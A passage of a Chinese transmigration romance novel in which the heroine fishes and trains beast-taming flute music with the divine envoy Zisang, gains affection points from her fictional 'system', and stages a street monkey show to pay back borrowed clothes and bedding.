重新包扎好伤口后,她又擦了擦身子,褪去发饰清洗长发。一番操作下来,身体清爽了许多,赵玉屿换上新衣服,擦了擦湿漉漉的头发刚想回小木屋去便听到丛林里不远处传来猴大雀跃肆意的吼叫,像是山间荡跃的野人。
赵玉屿一时好奇,索性捡了根树枝当拐杖,一瘸一拐朝丛林深处走去,随着不断深入,潺潺溪水声和猴大的雀跃声愈加清晰。拨开层层灌木树枝,入眼是一条曲曲流转的小溪,溪水从累累乱石中穿梭而过,顺着青苔蔓坡笔挺垂下,击打在光滑的石头上时不时溅起白烂的水花。
子桑正卷起裤脚踩在溪水里有一下没一下的叉鱼,可惜技术不太行,叉了半天一条没叉到,人倒也没见气馁,未见得有多尽心,更像是在消遣。有小鱼苗在他身旁骤然跃起,鱼尾勾起的连串水花在阳光下闪闪发光,熠熠生辉。
见赵玉屿来了,子桑瞄准目标朝溪水中又是利落一叉,来了些精神:“晚上给你烤鱼吃。”
赵玉屿瞧着他宽衣大袍的模样,忍不住吐槽:“依神使大人你这个叉法,怕是明日也吃不上。”
果不其然,鱼儿灵活摆尾便逃脱厄运。
子桑被她嘲笑有些气恼,又叉了几次还是不中,索性将木叉抛向岸边,一撩马尾:“你行你来。”
难得的轻松惬意,赵玉屿也卯上了劲:“我来就我来。”
不论如何她也是手作达人,虽然未曾叉过鱼,但动手能力铁定比这衣来伸手饭来张口的小祖宗强。
她脱了鞋袜翘起一条腿,捡起木叉一蹦一跳踩到小溪里,水中石苔滑腻,在差点摔倒时稳稳抓住子桑的胳膊:“你扶着我。”
子桑倒很是听话,一手抓着她的胳膊,另一手顺势搂着她的腰防止她摔倒。
赵玉屿全部注意力都在鱼身上,也未注意到不妥,瞄准鱼下方眼疾手快扎了下去。
然而鱼尾一摆,再次从叉旁灵活逃脱。
“哎!”
赵玉屿急得叫了一声,又猛地朝水中叉去,依旧没有叉中。
耳边传来一声幸灾乐祸地轻笑,赵玉屿不服气地要朝前面走:“这边鱼太少了,前面,前面鱼多。”
她一脚朝前蹦去,恰巧踩在青苔石上,一个打滑朝后仰去。
子桑原本想扶住她,结果赵玉屿翘起的左腿惊慌挣扎间正中要害,子桑猝不及防鸡飞蛋打,手劲不稳,两人双双摔在水里,“噗通”一声巨响,吓得一旁倒挂金钩捞鱼玩的猴大霎时蹿天远,差点被溅了一身的水。
“”
鱼没叉到,衣服还湿了。
两个叉鱼新手皆以失败告终,子桑捂着蛋赌气不用驭兽术,赵玉屿颤颤巍巍吹了几个音调,被一条锦鲤一跃而起抽了一尾巴后也最终放弃。
到头来还是小白一嘴叼一条,晚上才没有饿肚子。
赵玉屿拎着鱼娴熟的开膛破肚去鱼线,没有盐巴但小屋地下倒是被猴大挖出来一坛酒,许是以前人家埋的。
她便将鱼用酒烧了烧,又撒上些摘的香叶架在火上烤,虽谈不上美味佳肴,闻着倒也不难吃,配上果枣美酒别有一番野趣。
赵玉屿一边烤着鱼一边悄咪咪观察在旁边烤火的子桑。
他们浑身上下都湿透了,此处偏远,小白飞到最近的镇子一来一回也得大半天时间,没有换洗的衣物,两人只得脱了外衫晾干,裹着被子凑在一起烤火。
子桑看起来脸色很不好,毕竟不仅衣服湿了,蛋还差点碎了。
赵玉屿自知理亏,笑呵呵地将烤好的鱼殷勤递给他。
“神使大人,吃鱼哈~”
子桑睨了她一眼,嘟着脸接过烤鱼咬了一口。
“嘶——”
他连忙将滚烫的鱼肉吐出来,火急火燎得扇着舌头,一瞧,舌头上烫了个泡。
赵玉屿:“”
呜呼,吾命休矣!
40-50
第41章
赵玉屿尬笑着接过鱼:“我帮你吹凉先”
“你是不是讨厌我了。”
出其不意的问话让赵玉屿微怔,以为子桑生气了,却见他低垂着眼眸轻声问道,“因为我的不告而别,所以厌恶我。”
“当然不是!”
赵玉屿见他误会连忙解释,“今日纯属意外。”
她默了默,望着扭曲魅艳的篝火缓缓道:“我之前的确生你的气,跳海的那一刻我甚至怨恨你,因为我以为你明知要发生的一切却抛下所有人自顾自离开,我以为你是一个不顾他人死活的人。可你实际上并没有看上去的那么冷心冷肺,你安排好了一切离开,又会因为担忧大家的安全再次返回,只是世事难料,我当然不会怪你。”
她低头望着手中的烤鱼,鱼眼呆滞,鱼嘴麻木地张开,一根削尖的木棍从腹中穿嘴而出。
“不论什么原因,你想要离开是你的选择,不是错,错的是那群刺客。”
子桑听到赵玉屿没有讨厌他心情明显好了许多,至于赵玉屿后面所言,显然她误会了自己的初衷。
事实上他至始至终没有考虑过船上其他人的性命,不论是火浣布还是驭兽术,他安顿好的一切只是为了让赵玉屿可以活着离开,至于其他人,世事无常,生死有命,与他何干。
不过既然在赵玉屿的眼中他是个好人,那他也不会自讨没趣的解释。
篝火将赵玉屿的面容照得模糊,她沉声道:“神使大人,那群刺客亲口承认是受太子指使。”
“我知道。”
“他们一路行刺,分明是不想让您回帝都。”
“嗯。”
见他回答得漫不经心,赵玉屿望向他:“神使大人打算如何?”
子桑撇下一段木枝丢入火中:“随他。”
“太子与您素有间隙,一旦掌权,奉仙宫众人如同俎上鱼肉,太子不会放过他们的。”
子桑望着火光并未回答,甚至心情愉悦地轻哼起缥缈之音。
“人道渺渺,仙道茫茫
鬼道乐兮,当人生门
仙道贵生,鬼道贵终
仙道常自吉,鬼道常自凶
高上清灵美,悲歌朗太空
唯愿仙道成,不欲人道穷。”【1】
赵玉屿不懂歌意,只知道是奉仙宫祈福时常唱的仙家之乐,以为子桑是在为众人超度,心中难过:“神使大人,王厨是为我而死的,我要给他报仇。”
子桑望向她似是一笑:“太子是天定之人,你杀不死他的。”
星盘天象,六爻八卦,太子皆是九五之尊之相,如何能被轻杀。
赵玉屿望向子桑:“神使大人,你既知晓太子是天定之人,为何要与他作对?”
又一段木枝丢入火中,火舌舔舐发出噼啪乱响:“一时无聊,找点乐子。”
“所以神使大人,您其实也不信命,对不对?”
赵玉屿突然握住他的手腕,一双杏眸透着火光炯炯望向他:“我从不信命由天定,天定之人又如何?大家都是人,是人就会死,早死晚死都得死,有什么不一样!”
新仇旧怨堆上心头,赵玉屿眼中烈火如炬,“老天不让我杀他,我就偏偏要杀他!明着杀不了我就偷偷放毒蛇咬死他!毒蛇不行就毒蜈蚣、毒蝎子、毒马蜂,世上死法千万种,我就不信没一种能弄死他!”
子桑看着她眼中比篝火更甚的耀眼光芒,略微失神怔住,良久徐徐问道:“你既然不信神缘天命,当初为何一定去瑶山?”
赵玉屿坦言:“因为我想跟你在一起。”
“咔嚓”,树枝折断的心乱被噼啪乱燃的火光掩盖。
赵玉屿将架上的烤鱼翻了一面:“其实去哪无所谓,只要能一直同你在一处就好。我来到这个世界上以后,也没什么朋友,成了内殿侍女之后每天想着的就是让你开心一点。一开始只是将一切当做任务来做,可后来相处久了,发现你同我想象中的并不一样,或许没那么好,却也不算坏。比起高高在上的神祇,毫无瑕疵的白月光,我更喜欢真实的你。”
她所言非虚,一开始因为系统加之她对原著子桑的喜爱之情,所以一心想要尽快完成任务。
可是经历了海难之后,她忽然意识到自己似乎在系统的任务中逐渐失去了自我,成为了一个满心钻营如何讨好他人的人。或者说她不是一个人,而是成了一个为了完成任务的工具,甚至连选择的权力都没有,只能按照系统设定的规则不断前行,不得踏错一步,否则就会被修正、被抛弃。
这不是她来到这个世界的初衷,也不是她想要成为的模样。
她真心的希望子桑能活下去,真心的希望何附子可以幸福美满,希望他们可以选择自己想要的人生,而不是在一个傻逼作者的笔下沿着既定的路线走向注定消亡的悲剧人生。
所以她来到了这里,想要改变一切。
但这一切不应当以失去自我为代价,她愿意付诸真心的帮助他们,而不是将他们当成通关的BOSS,游戏结束就拍拍屁股走人。
子桑并非冷心冷肺之人,否则他不会在安排好一切后仍然放心不下的回头。
所以她要以真实的自己面对子桑,不再曲意迎合,不再一味讨好。
这世上,从来都是真心换真心。
至于系统,与其被系统利用,不如利用系统去改变他们的人生。
赵玉屿将烤鱼递给子桑,温声道:“所以神使大人,不论结果如何,让我陪你到最后吧。”
滚热朦胧的火光中,子桑没有回答,他望着赵玉屿良久,良久,久到赵玉屿以为子桑失了神、丢了魂。
最终,他伸出修长嶙峋的手指接过烤鱼,咬了一口。
略微焦苦的口感裹挟着一股香叶味道。
很香。
【滴——攻略对象好感度上升百分之一,当前好感度66%】
“?”
自从上次跟系统闹掰后,赵玉屿就没有再召唤过系统,这时突然听到系统的电子提示音一时没反应过来。
66%
不对啊,上次她记得好感度分明才55%,怎么会一下变成了66%呢?
难不成是系统出了BUG?
【亲爱的宿主,好感度并未出错。】
滚!
【好的。】
系统圆润的消失后,赵玉屿陷入了沉思。
既然好感度没有出错,那说明是在她跳海昏迷之后发生了什么才会让好感度一下提升了百分之十。
这可是百分之十,好感度越高提升得越艰难,平常不管她怎么努力都是个位数个位数的艰难蹦跶,这次居然一下就飙升了百分之十!
她昏迷之后究竟发生了什么?
赵玉屿倍感困惑,忍不住望向正在吃鱼的子桑目光探究。
身旁的人细嚼慢咽,感觉到赵玉屿的注视,抬眼望向她。
“神使大人,我有个问题想问你”
子桑眉梢一挑,意思有话就说。
“我坠海之后是您救了我?”
“不然呢。”
“那我昏迷之后有发生什么事情吗?”
子桑一顿:“没有。”
“哦”
赵玉屿不疑有他,自顾自嘟囔:“好吧,可是我总觉得有点奇怪”
难不成,是子桑为她英勇跳海的身姿着迷,所以才涨了好感度?
子桑又不是傻子。
赵玉屿一时无解,咬了一口鱼肉也不好多问,只得作罢,反正涨了总归是好事。
下一刻,她忽然发现子桑的耳尖通红,并以肉眼可见的速度迅速漫延至整张脸,甚至连脖子都红到发紫,像是刚出生的剃了胎毛的猴子。
“神使大人,你的脸怎么红成这样”
赵玉屿震惊地看着他的脸,以为他过敏了,连忙凑近想要看清楚。
子桑“腾”地掀开被子站起身子,倒退两步与赵玉屿保持距离,差点一个趔趄跌在地上,目光略显慌乱解释道:“鱼有些辣!”
赵玉屿:“?”
没放辣椒啊?
子桑却只丢下一句“我吃饱了”就匆匆离开,留下赵一头雾水的赵玉屿。
她看着剩下烤架上油香溢汁的几条鱼,拿了一条递给在旁边垂涎已久的猴大。
望向吹着口水大快朵颐的猴大,赵玉屿问道。
“辣吗?”
*
温软,纤细,小巧,像是掌心中的一捧云雀,按压间羽毛酥酥痒痒扫过指尖,痒得人心焦。
酥麻,冰凉,柔嫩,伴着海风的清咸,如同细滑的羊奶冻,化在唇齿交融间,口角余香。
少女身上残留的月麟香萦绕鼻尖,一呼一吸间悄无声息地潜入鼻腔,丝丝缕缕缠绕肺腑,化为凝晶滚在心头,半落不落,扰得人心如麻。
柔弱无骨的身体紧贴着被海水浸泡的衣裙,勾勒出少女曼妙玲珑的曲线,即便隔着层层衣物,依旧挡不住肌肤相亲间划过指腹的一丝荡漾。
“哗————”
氤氲的雾气中,修长的身影破水而出,水珠飞溅,从黑缎般的长发间滚落,子桑大口大口喘着气,靠在池边仰头阖眼休缓。
那股似有若无的月麟香像是一团烈火烧心燃肺,抓
不住,挥不去,懊恼又丧气。
他低下头,泄气地望向白雾弥漫的水面,水汽扭曲,缱绻化为一张溢着滟滟笑意的脸,刹那间,似乎水中也散着沌沌香气。
少年人怔怔地望着水面,张了张口似乎想要唤出那个在口中反复咀嚼的名字,然而尚未开口,“啪嗒”,鼻尖的水滴滴落,打散了一团暧昧。
波光粼粼的水面,春意与柔情不在,幻境之下,只余一张苍白破碎的脸。
子桑闭了闭眼,长舒一口气压去悸动与妄念,再次睁眼时已恢复清明。
回到小屋时赵玉屿已经褪去外衣休息,见他又抱了床被子进屋,忍不住问道。
“你这被子”
子桑面不改色:“小白拿的。”
赵玉屿:“”
好吧。
第42章
猴大殷勤地将被子放在地上铺好,见子桑就地而眠,赵玉屿奇怪:“神使大人,您不睡床上吗?”
“我还不想丢脸到后人记载抚鹤神使死因时,写道半夜被活活压死。”
“”
知晓自己睡姿比较豪放的赵玉屿自知理亏,挠了挠头,脸红道:“那要不还是我睡地上吧。”
毕竟小祖宗金贵,睡得不舒服要是生气了怎么办。
她刚想下床,子桑已经合衣躺在地上闭上眼睛:“睡吧。”
“哦……”
如此,赵玉屿也只好在床上躺下。
两人合衣而眠躺在床上良久,夜风吹拂而过,耳边是沙沙树响,时不时传来飞鸟扑翅和昆虫窸窸窣窣的悄语,丛林的夜晚有不知名的热闹。
许是白日有些兴奋,赵玉屿眼皮滚动,半晌没有睡意,睁开眼望着黑漆漆破缝里露出一点星光的屋檐眨了眨眼,压着嗓子悄声试探道:“神使大人~~~你睡了吗~~~”
子桑一整天没休息好,半梦半醒间被唤醒,迷迷糊糊回道:“还没。”
见他没睡,赵玉屿顿时来了精神,翻身趴在床沿同他聊天:“我也睡不着,神使大人,咱们聊聊天吧。”
“……”
子桑缓缓睁开眼,扭头望向赵玉屿:“聊什么。”
赵玉屿将自己的疑惑尽数盘出:“神使大人,小白这些被子衣服不会都是拿的一家的吧?那咱们还得把被子还回去啊。”
子桑不以为意:“可能吧。”
“神使大人,咱们接下来去哪啊?”
子桑打了个哈欠:“随便。”
赵玉屿双手压在床沿,腿高翘起双脚双脚一并一并得晃悠:“神使大人,你可不能再丢下我一个人啊,你要是丢下我,我就算找到天涯海角也要找到你的。对了神使大人,咱们现在在哪啊?”
“不知道”
两人有一搭没一搭的聊着,到最后,子桑腾地坐起身子,无奈地挠了挠脑袋长叹了口气,望向赵玉屿道:“睡不着?”
赵玉屿被他吓了一跳,眨巴眨巴眼睛呆呆道:“嗯”
子桑起身掀开她的被子:“起来,练笛子。”
“哦啊?”
就这样,赵玉屿被薅起来练了大半夜的笛子。
两人在小屋外架起柴火,裹着被子围绕篝火席地而坐。子桑捏着骨笛徐徐吹了一曲,修长灵活的手指下悠扬婉转的音调顺着笛孔曲曲飞出,萦绕火光蜿蜒流淌,皎皎引月,仙鹤飞绕,万鸟来朝。
整片森林在笛声中被袅袅唤醒,恍若被引诱着朝星微火光处涌来,鸟儿扑腾翅膀飞落枝桠歪头而听,松鼠从树洞呲溜钻出扒在树干上,兔子成群一蹦一跳窝在草丛里,悄然探头安静聆听天籁之音。
小白鸣唳着飞上星空轻旋身姿,如游龙摆尾长蛟出水般丝滑飞跃,猴大忙活了一天,迷迷糊糊地爬到赵玉屿怀里窝着,有一下没一下的打瞌睡。
赵玉屿将它拦在怀中,顺着子桑曲调的节奏轻轻拍着猴大的胳膊哄它睡觉。
一曲既罢,子桑将笛子递给赵玉屿:“屏气凝神,静心感受体内力量的牵引,像是流水,缓缓将流水灌入笛声中。”
赵玉屿点点头,之前她尝试过调动体内的力量,有了一些经验倒也不畏惧,宁心静气将骨笛放在唇边,深吸一口气,缓缓吹响曲调。
“哔————”
响是响了,就是尖锐刺耳,像是满头满脑麻麻赖赖的硬疙瘩,瘆得慌。
“噗噗——呲——哔哔——”
一瞬间,天地失色,万物哗然。
赵玉屿吹得陶醉,听众听得愕然,拐到九重天外的音调本就刺耳,更别提注入了真气之后的杀伤力,简直堪比虐待。
众鸟哗啦啦一瞬齐飞,疯狂扇翅四散逃离,松鼠捂着耳朵两脚飞奔如火轮,兔子直接原地挖洞一跃而入,抖着腿将洞口埋上,小白羽翼一抖,差点从天上直挺挺栽到篝火里变成烤鹤。
离事故最近的猴大饱受重伤,捂着耳朵眼突牙龇痛苦尖叫一声从赵玉屿怀中滚落,连滚带爬撒丫子朝外飞奔,一溜烟没了影,拦都拦不住。
轰隆隆一阵哗变后,周遭一片尴尬的死寂。
一曲既罢,赵玉屿放下长笛,双眼含光望向子桑,像只期待夸奖的小狸猫。
子桑:“”
将驭兽术传给她是他这辈子做过最错误的决定。
*
几日之后,清晨烟雾蒙蒙,赵玉屿打着哈欠伸了个懒腰,炯炯有神的双眼也遮不住眼下青黛。
她这几日得了子桑的指教,荒无人烟的平日里休养腿上也没什么事做,正是练曲子的好时机,便没日没夜的练习,总算是摸到了一点门道。
一早醒来,赵玉屿便想再试试昨晚练习的成果,猴大为了不受摧残,一早就伺候子桑去泡温泉。
方圆几里因为赵玉屿的魔音灌耳,早就没了动物的踪迹,一片荒烟蔓草。
唯有小白还有点良心,每日要准时背着赵玉屿去泡澡,所以一直留在这儿。
赵玉屿摸了摸它的长喙亲了一口:“乖,这几日你受苦了,等回去以后,姐姐每日给你加餐,mua~”
小白哀嚎一声,脖子一挺,认命倒在一旁视死如归。
赵玉屿屏气凝神,手指在骨笛上轻跃,流畅的曲调缓缓而出,虽不及子桑,却也有几分潇洒悠扬。
一曲即罢,小白明显精神比前几日要好许多,仰头高唳,给了她一个点赞。
赵玉屿也隐隐约约能感受到,那股联结着自己与万物之间微妙的纽带,像是,像是牵绊?
似乎不用对话,便能感觉到小白的情绪变化。
这就是子桑能够同动物沟通的原因吗?
这个改变让赵玉屿很是雀跃,能够与万物通灵,仿佛与大自然融为一体,天地浩浩,从林入海,那股旷远浩渺之感油然而生。
随后,她忽然有一个诡异的想法,既然能够通过驭兽术与动物连接,操作万灵的话,那人也是动物啊。
这个想法一出赵玉屿就打了个寒颤。
若真能操作人的话,那不就成傀儡术了吗。
等子桑回来后,赵玉屿将自己的想法告诉他,子桑笑了笑,望向她的眼中有股意味不明的诡谲。
那份诡谲怪异地让赵玉屿心中不安,然而下一秒,子桑捏住她的脸:“你想得倒是挺美。驭兽术本就是上古之术,奥妙无穷,按理说人和动物本也没区别,都是欲望所化,自然可以为欲望驱使。只是即便是瑶山族人,对于驭兽术的掌握也不过十之一二,从未有驭人之说。更何况人之心性坚定,想要动摇并非易事,至少于你而言,想要用驭兽术让宋承嵘自尽是不可能的。”
“这样啊,那是我想多了。”
赵玉屿松了口气,她也没想过驭人。
操作他人听起来虽然很爽,实际上隐患无穷,就像一颗埋伏地底随时可炸的地雷。
人是傲慢的。
屠龙少年终成恶龙说的不是遗憾,而是人性。
一旦拥有凌驾于他人的能力,就会不自觉的以高人一等的姿态藐视万物,对他人的感情总是会掺杂上位者的俯视和凝望。
就像她来到这个世界之初,将一切当成了一场游戏一样,而这仅仅是因为她拥有比旁人多一些的认知便如此。
若是拥有操控他人的能力,欲望和傲慢会逐渐将人吞噬成怪物,只想想就让人不寒而栗。
此事抛诸脑后,赵玉屿望向子桑笑道:“对了神使大人,我的腿伤已经好得差不多了,能不能去附近的镇子转转啊?”
子桑见她黑白分明的眼睛溜溜直转:“想做什么?”
“也没什么,一来是无聊,二来想要置办些换洗的衣物,三来,咱们平白拿了人家的东西,总得还些银子回去。”
子桑对她的“还”字很不解:“为何要还?”
“拿人家的东西自然要还啊。”
赵玉屿知晓对他这种金尊玉贵的祖宗来说,向来都是旁人求着他要,他的字典里从来就没有还这个字。
遂耐心解释:“神使大人,寻常人家和宫中不同,一床丝绸被褥可能是一家人一整年的收入,您身上这件衣服虽不入您眼却也抵得上十几两白银。虽说小白盯上的这家看起来是大户人家,但平白丢了东西也会引起恐慌,咱们艰难之际借了人家东西,如今总要还给人家的。”
子桑对被褥的去处倒不在意:“随你吧。”
大不了再换户人家拿。
第43章
赵玉屿见他并不拒绝自己的提议,越发觉得子桑其实本性纯良,只是平日里身居高位受人崇敬,一言一行皆是命令,无人敢教导他这些,所以放纵惯了。
两人也不拖沓,当即收拾好被褥乘着小白启程。
重重森林在脚下急速倒退,像是拖出的一条长长的无线延展的绿影。
到了镇子上已近午后,小白落在一处偏僻的院落里。
这院子重重叠叠长廊回旋,虽算不上奢靡却干净整洁、装饰精巧,应当是当地的一个大户人家。
刚落地,两人就听到细碎的抽泣声。
赵玉屿连忙拉着子桑躲到白墙院后,不一会儿就听院墙后传来一个丫鬟安慰的声音。
“福子你别哭了,这么哭也不是办法啊。”
那名唤福子的小侍童抽噎道:“姐姐,真不是我偷的,我哪里敢偷少爷小姐们的东西。我上次见少爷书房的那床被褥放得久了,就晾出去晒晒,结果,结果到晚上回去收被子时,被子没了。我怕少爷怪我,就取了床新被褥放在小榻上了,结果,结果晚上被子又没了”
他边哭边道:“少爷心善没怪我,结果我前几日去取少爷新制的衣服,衣服又,又没了”
他越想越伤心,越哭越难过,最终嚎啕大哭:“我真的没偷东西啊,可是柳管家非说是我偷的,要把我撵出去。”
那丫鬟安慰道:“不止是少爷这边,小姐那儿也丢了件衣衫和吃食,怕的确是家中进了贼。柳管家也是一时气急,才吓唬吓唬你,不过被褥丢了,你这一年的工钱怕是免不了得押进去了。”
福子听到这话,哭得更甚:“我们家全靠我那点工钱养活,钱没了,一家人吃什么啊”
丫鬟连连叹息,也没有办法。
事不过三,这衣服被褥平白就这么没了,的确说不过去,府里发生了这等事,柳管家自然得找个人出来顶罪,否则如何立威,在老爷那里也不好交代。
赵玉屿在墙后听得咋舌,果不其然,他们惹了麻烦。
她朝子桑悄声道:“咱们得把被褥衣服都还回去。”
子桑皱眉,一脸不满:“那我穿什么?”
被褥倒无所谓,但子桑每天都要换新皮肤,如今在外已经很是节俭,头发只扎成马尾,没丝毫发饰点缀,再把衣服还回去,想都别想。
赵玉屿瞧着他那不打扮会死的骚包样,抽了抽嘴角,拍了拍胸口信誓旦旦道。
“不就是赚钱买衣服吗,我给你买!”
*
“铛铛铛铛铛铛————”
一阵刺耳的喧天锣鼓后,中气十足的吆喝声在小镇长街上响起,吸引不少路过的行人围聚。
“世上多奇事,不及今日桩,长街无老虎,猴子称霸王!铛——走过路过不要错过哎!”
笑容娇俏明媚的少女手持铜锣,绕着场地围上来的行人快步敲了一圈锣,继续吆喝道:“若问猴王是哪位,峨眉第一孙大圣,若问猴王有何能,您老且来这边瞧!”
子桑靠在墙边头戴斗笠,见赵玉屿卖力吆喝,将斗笠往下一拉,遮住大半张脸,丢不起这人。
赵玉屿方才同他说能赚钱,子桑浑然不信。
若说赵玉屿有赚钱的本事他信,可粗布麻衣他是不穿的,他们两个在这里没钱没权没人,又不能暴露身份,短时间内如何能赚到银子。
没想到赵玉屿啥都没准备,就找旁边卖锣鼓的小贩借了个锣,站在街角直接开演。
他锦衣玉食这么多年,就算最落魄的时候也没干过当街卖艺这种事,着实丢不起这人,只得顺道借了个斗笠戴上。
赵玉屿此时却兴奋至极,每每看到电视剧里街头卖艺,杂耍猴戏的她都觉得有意思得紧,如今正巧有机会玩这一次,自然要好好把握。
她高声吆喝一会儿,见人聚了不少,便将扒在子桑肩上看热闹的猴大一把捞起,放在众人面前大声道。
“猴王在此!”
猴大蜷着四肢被她高高举起,一脸懵逼:“?”
赵玉屿笑呵呵将它放下,抱在怀中贴在它耳边低声威胁:“好好表现,否则神使大人没衣服穿,就得扒了你的猴皮做衣裳。”
猴大歪眼斜嘴睨了她一眼,眼中意思很明确:放屁,主人才不会那么对我。
赵玉屿咧嘴一笑,温柔地抚摸它的猴头:“可是我会啊~~”
猴大:“”
当初被暴揍的恐惧随着赵玉屿狰狞阴险的笑容再次浮上脑海,猴大瑟瑟一抖,无助地回首向子桑求救,然而子桑斗笠一拉,生人勿扰。
没了靠山,审时度势的猴大顿时乖巧,非常有眼力见的挺胸抬头,笔直地朝赵玉屿敬了个礼。
赵玉屿见吓唬成功,扬起笑脸朗声道:“猴王临世,众妖退让!”
她将猴大抱起在众人面前展示一圈后放在地上,竖起两个铜锣。
“铛——猴王骑上风火轮,飞天一道十万里!”
猴大两只脚颤颤巍巍跳上铜锣,尾巴挂在赵玉屿手中的棒槌上保持平衡,铜锣滚动,猴大双脚飞蹬快如闪电,绕着全场溜了一圈。
“铛——猴王偶入神仙林,贪嘴撩舌摘圣果!”
赵玉屿将香蕉抛给它,猴大一边疯狂蹬腿,一边一手一根香蕉高高抛起交换双手投掷。
“好!”
众人齐齐喝彩,赵玉屿又加上香蕉。
“猴王斗三圣!”
又加一根。
“猴王战四佛!”
再加一根。
“猴王胜五鬼!”
香蕉越抛越高,双爪抡成无影手,双腿蹬成风火轮,猴大手忙脚乱,目接不暇,赤面红脖累成狗。
围观众人瞧着它龇牙咧嘴地模样哄堂大笑。
赵玉屿棒槌一挑,将猴大从铜锣上吊起,猴大一个倒挂金钩,快手将飞转的铜锣抓住。
“猴王捞月!”
“好!”
猴大跳下棒槌平躺在地,熟练地将两个铜锣一丢,双脚蹬起铜锣,顺势双手接住半空中刚落下的香蕉放在肚子上,一边蹬腿一边剥香蕉吃,将摸鱼发挥到极致。
“好!”
吃完香蕉,猴大蓄了力,已经不用赵玉屿指挥,直接双腿猛蹬,一个鲤鱼打挺站起身子,一手向天,指尖顶住铜锣,左脚一伸
,接住另一只落下的铜锣同时打旋。
“好!好!好!”
众人再次齐喝,猴大撅起嘴得意一笑:小意思,这都是爷玩剩的。
它将铜锣再次一抛,利落换了手脚再次接住!
赵玉屿笑呵呵地张开布兜,朝众人前面走了一圈便满满当当全是铜板。
尽兴散场后,赵玉屿将铜锣还给小贩,又赠与他一些铜板当做租借锣鼓的报酬后,拎起钱袋走到墙边惬意一靠,将鼓囊囊的钱袋朝子桑面前直晃,铜板的声音清脆悦耳,愈发衬得她眉梢间明媚耀眼。
“怎么样,这些钱绝对够买衣服的了吧~”
她捡了一块铜板吹了吹,放在耳边听响,陶醉道:“果然,还是自己赚的钱更好听。”
猴大攀着她的胳膊使劲乱晃,龇牙咧嘴耀武扬威:都是我赚的!
“行行行,都是咱们美猴王的功劳,待会给你加几根香蕉!”
赵玉屿乐呵呵的摸了摸它的头,朝子桑道:“子桑大人,走吧。”
在外,她不好直呼神使,便称呼其为子桑大人,听着倒也更亲近些,没那么森严冰冷的等级界限。
“去哪?”
赵玉屿双手合十俏皮鞠了一躬:“当然是先去给大人您买衣服,这世上没什么比维系大人天下无双的美貌更重要的事情了~”
见她居然敢调侃自己,子桑倒毫不羞恼,甚至一撩马尾,自鸣得意:“本尊自然天下无双。”
第44章
两人进了一家裁缝铺,掌柜的正在算账本,一见到他们两人便眼前一亮。
少年明月之姿玉如颜,女娥娇俏明艳梨涡旋。
如此出众的容貌气质,必定是有钱人家的公子小姐,大单子要来了!
他连忙上前,正待笑迎,定睛一瞧,面色却陡然有些奇怪。
赵玉屿没发现他的异常,笑眯眯地将钱袋朝桌上一放:“掌柜哒,将你们这里最好的衣服全部都拿出来,给咱家大人试!”
掌柜的见了钱,连忙又重新堆出笑脸:“好嘞好嘞,二位贵客随便瞧!本店众多成衣皆是时下新款,包您满意!”
子桑瞧了瞧店里摆置的衣服料子,发出一声似有若无的嗤笑。
赵玉屿见他神色过于轻蔑,怕惹得店家生气将他们撵出去,连忙打哈哈笑道:“那掌柜的您可遇到行家了,寻常的衣服我家大人还真瞧不上眼。”
掌柜的一听,“哟”地笑了一声,又上下打量了他们两眼,便引着两人朝里屋走去,笑道:“既然如此,那掌柜的我也不谦虚,您二位里面请,外面的衣服可不比里屋的,不仅款式更多,而且料子也是一等一的好,好些都是帝都的公子女眷们穿的款式,咱们镇上就咱是独一家,掌柜的我敢打包票,在这镇上您二位若是连咱们家的衣服都瞧不上,那其他家的必定不入您眼。”
进了里屋,果然陈列的款式衣料都上了几个档次,上面的刺绣足见精致。
掌柜的接着道:“这屋里的成衣二位瞧好了尽管试,若是需要料子定制,待会儿量好尺寸,半月之后派人来取即可。”
见子桑伸手去拿桌上的衣料,赵玉屿连忙抢先一步夺下笑道:“谢谢掌柜的,不过我家大人忙着赶路,今日路过此镇暂且歇脚,待不了那么长时间,咱们只要成衣即可。”
开玩笑,定制的衣服从古至今向来昂贵!
那料子一看就是上好的花罗,他们所有的钱都不一定能做一件衣服。
休想捞我的钱!
子桑对她不让自己挑衣料的行为很是不满,站在那里不愿意走,赵玉屿连哄带求拿了几件成衣让他进试衣间试,在她再三保证一定给他改成天下独一无二的衣服后才勉勉强强进屋试衣。
赵玉屿在试衣间外候着,一旁掌柜的笑问道:“小姑娘,我瞧你家大人身上那件衣服做工精巧,就是似乎略宽了些,要不要也顺便改改?”
“收钱吗?”
掌柜的哈哈一笑摆手:“不收不收,顺手的事儿。”
见不收钱,赵玉屿爽快答应:“那成,不过也不麻烦您了,工具备好就成,我家大人不喜旁人近身,我自己来改就好。”
两人交谈间,子桑已经换好衣裳出来。
一撩帘帐,外面候着的两人皆是眼前一亮。
青罗玉锦发如缎,美人如斯明月天。
只是简单一件竹青长袍,不加丝毫修饰点缀,却更显脱尘之气,清冷似泉,孤傲如月,整个人站在那里便是一副傲竹水墨画卷。
玉白俏脸净如纸,星眸熠熠黑如点墨,薄唇润红似画上朱漆印。
子桑眉头蹙起,撩起衣袖不满,这衣服如此简单,与他奢华显贵的气质毫不相称。
赵玉屿对他那暴发户般的审美心得颇深,金镶玉,银镶钻,总得配点贵的繁杂的才好看,恨不得各种首饰全套在身上。
然而她现在是没钱买金银玉石,但别出心裁的野趣还是有的。
赵玉屿将坐在那等他换衣服时编好的麻披斜披在他肩上,顺着肩膀的外延将麻绳轻扯几下便卷出几道有层次的褶子,再将整条麻披用黑色的腰带束在腰间,上面在覆上一层浓绿色的腰带,其上绑着编织成不同动物的草环垂下。
随后,她又将路边捡的竹叶用绿麻布串成一条,做成发饰绑在马尾上,从长发里分出两络编成麻花辫垂在身前。
大功告成,赵玉屿拍了拍手介绍自己的设计成果:“今天的装扮是碧玉竹叶青!”
子桑站在铜镜前左右看了看:“好看吗?”
赵玉屿点头如捣蒜:“当然当然,大人天人之姿,简直是玉竹仙人下凡。”
一旁掌柜的也点了点头赞叹道:“姑娘手当真是巧,没想到这衣服经姑娘这么一改,竟完全不同了,更有文人林野之雅趣。”
子桑又望着镜子照了照,倒也还算满意,虽比不上以往的奢华,但总比那简单无趣的成衣要好得多。
子桑挑好了衣服后,赵玉屿便简单多了,找了件合眼缘的衣服换上,又让掌柜的改了改尺寸,两人便离开,找了个偏僻的角落,将换下的衣服和被子一道打包好让小白悄悄送回去,又写了份信,里面塞上兑换好的银票,表明是江湖遇难,故借衣被一用。
安排好一切后,赵玉屿松了一口气,肚子恰逢其时的咕咕直叫。
